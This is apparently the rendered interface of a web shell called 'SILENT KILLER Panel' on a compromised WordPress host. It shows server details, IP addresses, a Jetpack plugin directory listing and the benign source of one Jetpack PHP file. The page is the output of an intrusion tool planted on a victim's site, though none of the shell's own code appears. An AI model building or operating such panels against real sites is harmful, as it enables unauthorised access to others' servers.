SILENT KILLERPanel

Current Path: > home > codekrsu > > ameliagraphics.com > wp-content > plugins > > jetpack > sal


Operation   : Linux premium131.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
Software     : Apache
Server IP    : 162.0.232.56 | Your IP: 216.73.216.111
Domains      : 1034 Domain(s)
Permission   : [ 0755 ]

Files and Folders in: /home/codekrsu//ameliagraphics.com/wp-content/plugins//jetpack/sal

NameTypeSizeLast ModifiedActions
class.json-api-date.php File 2559 bytes April 21 2025 18:58:58.
class.json-api-links.php File 15888 bytes May 15 2025 20:05:26.
class.json-api-metadata.php File 2177 bytes December 25 2024 18:44:34.
class.json-api-platform-jetpack.php File 1339 bytes January 17 2023 01:35:44.
class.json-api-platform.php File 1284 bytes October 17 2022 19:47:32.
class.json-api-post-base.php File 31937 bytes July 24 2024 13:20:00.
class.json-api-post-jetpack.php File 2219 bytes April 06 2022 19:14:40.
class.json-api-site-base.php File 43913 bytes May 05 2025 21:43:40.
class.json-api-site-jetpack-base.php File 11084 bytes May 15 2023 20:47:16.
class.json-api-site-jetpack.php File 18955 bytes September 30 2024 21:15:14.
class.json-api-token.php File 3731 bytes May 20 2024 23:33:44.

Reading File: /home/codekrsu//ameliagraphics.com/wp-content/plugins//jetpack/sal/class.json-api-post-jetpack.php

<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
/**
 * This class extends the SAL_Post class, providing the implementation for
 * functions that were declared in that SAL_Post class.
 *
 * @see WPCOM_JSON_API_Post_v1_1_Endpoint in class.wpcom-json-api-post-v1-1-endpoint.php for more context on
 * the functions implemented here.
 *
 * @package automattic/jetpack
 */
/**
 * Base class for Jetpack_Post.
 */
class Jetpack_Post extends SAL_Post {
	/**
	 * Defines a default value for the like counts on a post, if this hasn't been defined yet.
	 *
	 * @return int Returns 0.
	 **/
	public function get_like_count() {
		return 0;
	}

	/**
	 * Defines a default value for whether or not the current user likes this post, if this hasn't been defined yet.
	 *
	 * @return bool Returns false
	 **/
	public function is_liked() {
		return false;
	}

	/**
	 * Defines a default value for whether or not the current user reblogged this post, if this hasn't been defined yet.
	 *
	 * @return bool Returns false
	 **/
	public function is_reblogged() {
		return false;
	}

	/**
	 * Defines a default value for whether or not the current user is following this blog, if this hasn't been defined yet.
	 *
	 * @return bool Returns false
	 **/
	public function is_following() {
		return false;
	}

	/**
	 * Defines the unique WordPress.com-wide representation of a post, if this hasn't been defined yet.
	 *
	 * @return string Returns an empty string
	 **/
	public function get_global_id() {
		return '';
	}

	/**
	 * Defines a default value for whether or not there is gelocation data for this post, if this hasn't been defined yet.
	 *
	 * @return bool Returns false
	 **/
	public function get_geo() {
		return false;
	}

	/**
	 * Returns the avatar URL for a user, or an empty string if there isn't a valid avatar.
	 *
	 * @param string $email The user's email.
	 * @param int    $avatar_size The size of the avatar in pixels.
	 *
	 * @return string
	 */
	protected function get_avatar_url( $email, $avatar_size = 96 ) {
		$avatar_url = get_avatar_url(
			$email,
			array(
				'size' => $avatar_size,
			)
		);

		if ( ! $avatar_url || is_wp_error( $avatar_url ) ) {
			return '';
		}
		return $avatar_url;
	}
}

SILENT KILLER Tool